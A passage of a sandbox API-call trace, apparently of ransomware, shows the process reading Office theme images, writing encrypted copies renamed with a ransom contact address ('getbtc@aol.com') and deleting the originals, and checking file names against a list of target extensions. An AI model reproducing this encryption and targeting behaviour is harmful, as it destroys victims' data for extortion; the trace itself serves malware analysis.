lpOverlapped=0x0) returned 1 [0048.692] WriteFile (in: hFile=0x21c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.692] SetEndOfFile (hFile=0x21c) returned 1 [0048.692] CloseHandle (hObject=0x21c) returned 1 [0048.692] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.692] SetEndOfFile (hFile=0x1a0) returned 1 [0048.693] CloseHandle (hObject=0x1a0) returned 1 [0048.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.694] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0048.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.694] lstrlenW (lpString=".doc") returned 4 [0048.694] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.694] lstrlenW (lpString=".docx") returned 5 [0048.694] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.694] lstrlenW (lpString=".pdf") returned 4 [0048.694] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.694] lstrlenW (lpString=".xls") returned 4 [0048.694] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.694] lstrlenW (lpString=".xlsx") returned 5 [0048.694] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.694] lstrlenW (lpString=".ppt") returned 4 [0048.694] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.694] lstrlenW (lpString=".zip") returned 4 [0048.694] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.694] lstrlenW (lpString=".rar") returned 4 [0048.694] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.694] lstrlenW (lpString=".bz2") returned 4 [0048.694] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.694] lstrlenW (lpString=".7z") returned 3 [0048.694] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.694] lstrlenW (lpString=".dbf") returned 4 [0048.694] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.695] lstrlenW (lpString=".1cd") returned 4 [0048.695] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.695] lstrlenW (lpString=".jpg") returned 4 [0048.695] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.695] lstrlenW (lpString=".doc") returned 4 [0048.695] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.695] lstrlenW (lpString=".docx") returned 5 [0048.695] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.695] lstrlenW (lpString=".pdf") returned 4 [0048.695] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.695] lstrlenW (lpString=".xls") returned 4 [0048.695] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.695] lstrlenW (lpString=".xlsx") returned 5 [0048.695] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.695] lstrlenW (lpString=".ppt") returned 4 [0048.695] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.695] lstrlenW (lpString=".zip") returned 4 [0048.695] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.695] lstrlenW (lpString=".rar") returned 4 [0048.695] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.695] lstrlenW (lpString=".bz2") returned 4 [0048.695] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.695] lstrlenW (lpString=".7z") returned 3 [0048.695] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.695] lstrlenW (lpString=".dbf") returned 4 [0048.695] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.695] lstrlenW (lpString=".1cd") returned 4 [0048.695] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0048.696] lstrlenW (lpString=".jpg") returned 4 [0048.696] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.696] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0048.696] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.696] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2604) returned 1 [0048.696] CloseHandle (hObject=0x1a0) returned 1 [0048.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0048.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.696] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.697] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0048.698] GetLastError () returned 0x0 [0048.698] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xa2c, lpOverlapped=0x0) returned 1 [0048.701] WriteFile (in: hFile=0x21c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0048.704] ReadFile (in: hFile=0x1a0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.704] WriteFile (in: hFile=0x21c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.704] SetEndOfFile (hFile=0x21c) returned 1 [0048.704] CloseHandle (hObject=0x21c) returned 1 [0048.705] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.705] SetEndOfFile (hFile=0x1a0) returned 1 [0048.705] CloseHandle (hObject=0x1a0) returned 1 [0048.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.706] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0048.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.706] lstrlenW (lpString=".doc") returned 4 [0048.706] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.706] lstrlenW (lpString=".docx") returned 5 [0048.706] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.706] lstrlenW (lpString=".pdf") returned 4 [0048.706] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.706] lstrlenW (lpString=".xls") returned 4 [0048.706] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.706] lstrlenW (lpString=".xlsx") returned 5 [0048.706] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.706] lstrlenW (lpString=".ppt") returned 4 [0048.706] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.706] lstrlenW (lpString=".zip") returned 4 [0048.706] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.706] lstrlenW (lpString=".rar") returned 4 [0048.706] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.706] lstrlenW (lpString=".bz2") returned 4 [0048.706] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.706] lstrlenW (lpString=".7z") returned 3 [0048.706] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.706] lstrlenW (lpString=".dbf") returned 4 [0048.706] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.707] lstrlenW (lpString=".1cd") returned 4 [0048.707] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.707] lstrlenW (lpString=".jpg") returned 4 [0048.707] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.707] lstrlenW (lpString=".doc") returned 4 [0048.707] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.707] lstrlenW (lpString=".docx") returned 5 [0048.707] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.707] lstrlenW (lpString=".pdf") returned 4 [0048.707] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.707] lstrlenW (lpString=".xls") returned 4 [0048.707] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.707] lstrlenW (lpString=".xlsx") returned 5 [0048.707] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.707] lstrlenW (lpString=".ppt") returned 4 [0048.707] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.707] lstrlenW (lpString=".zip") returned 4 [0048.707] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.707] lstrlenW (lpString=".rar") returned 4 [0048.707] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.707] lstrlenW (lpString=".bz2") returned 4 [0048.707] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.707] lstrlenW (lpString=".7z") returned 3 [0048.707] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.707] lstrlenW (lpString=".dbf") returned 4 [0048.707] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.707] lstrlenW (lpString=".1cd") returned 4 [0048.707] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0048.708] lstrlenW (lpString=".jpg") returned 4 [0048.708] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.708] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0048.708] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.985] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=31975) returned 1 [0048.985] CloseHandle (hObject=0x188) returned 1 [0048.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0048.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.985] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.985] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.985] GetLastError () returned 0x0 [0048.985] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0048.987] WriteFile (in: hFile=0x214, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0048.989] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.989] WriteFile (in: hFile=0x214, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.989] SetEndOfFile (hFile=0x214) returned 1 [0048.989] CloseHandle (hObject=0x214) returned 1 [0048.989] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.989] SetEndOfFile (hFile=0x188) returned 1 [0048.990] CloseHandle (hObject=0x188) returned 1 [0048.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.991] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0048.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.991] lstrlenW (lpString=".doc") returned 4 [0048.991] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.991] lstrlenW (lpString=".docx") returned 5 [0048.991] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.991] lstrlenW (lpString=".pdf") returned 4 [0048.991] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.991] lstrlenW (lpString=".xls") returned 4 [0048.991] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.991] lstrlenW (lpString=".xlsx") returned 5 [0048.991] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.991] lstrlenW (lpString=".ppt") returned 4 [0048.991] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.991] lstrlenW (lpString=".zip") returned 4 [0048.991] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.991] lstrlenW (lpString=".rar") returned 4 [0048.991] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.991] lstrlenW (lpString=".bz2") returned 4 [0048.991] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.991] lstrlenW (lpString=".7z") returned 3 [0048.991] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.991] lstrlenW (lpString=".dbf") returned 4 [0048.991] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.992] lstrlenW (lpString=".1cd") returned 4 [0048.992] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.992] lstrlenW (lpString=".jpg") returned 4 [0048.992] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.992] lstrlenW (lpString=".doc") returned 4 [0048.992] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.992] lstrlenW (lpString=".docx") returned 5 [0048.992] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.992] lstrlenW (lpString=".pdf") returned 4 [0048.992] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.992] lstrlenW (lpString=".xls") returned 4 [0048.992] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.992] lstrlenW (lpString=".xlsx") returned 5 [0048.992] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.992] lstrlenW (lpString=".ppt") returned 4 [0048.992] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.992] lstrlenW (lpString=".zip") returned 4 [0048.992] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.992] lstrlenW (lpString=".rar") returned 4 [0048.992] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.992] lstrlenW (lpString=".bz2") returned 4 [0048.992] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.992] lstrlenW (lpString=".7z") returned 3 [0048.992] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.992] lstrlenW (lpString=".dbf") returned 4 [0048.992] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.992] lstrlenW (lpString=".1cd") returned 4 [0048.992] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0048.993] lstrlenW (lpString=".jpg") returned 4 [0048.993] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.993] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0048.993] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.994] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1009) returned 1 [0048.994] CloseHandle (hObject=0x188) returned 1 [0048.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0048.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.996] GetLastError () returned 0x0 [0048.996] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0048.999] WriteFile (in: hFile=0x214, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x400, lpOverlapped=0x0) returned 1 [0049.001] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, 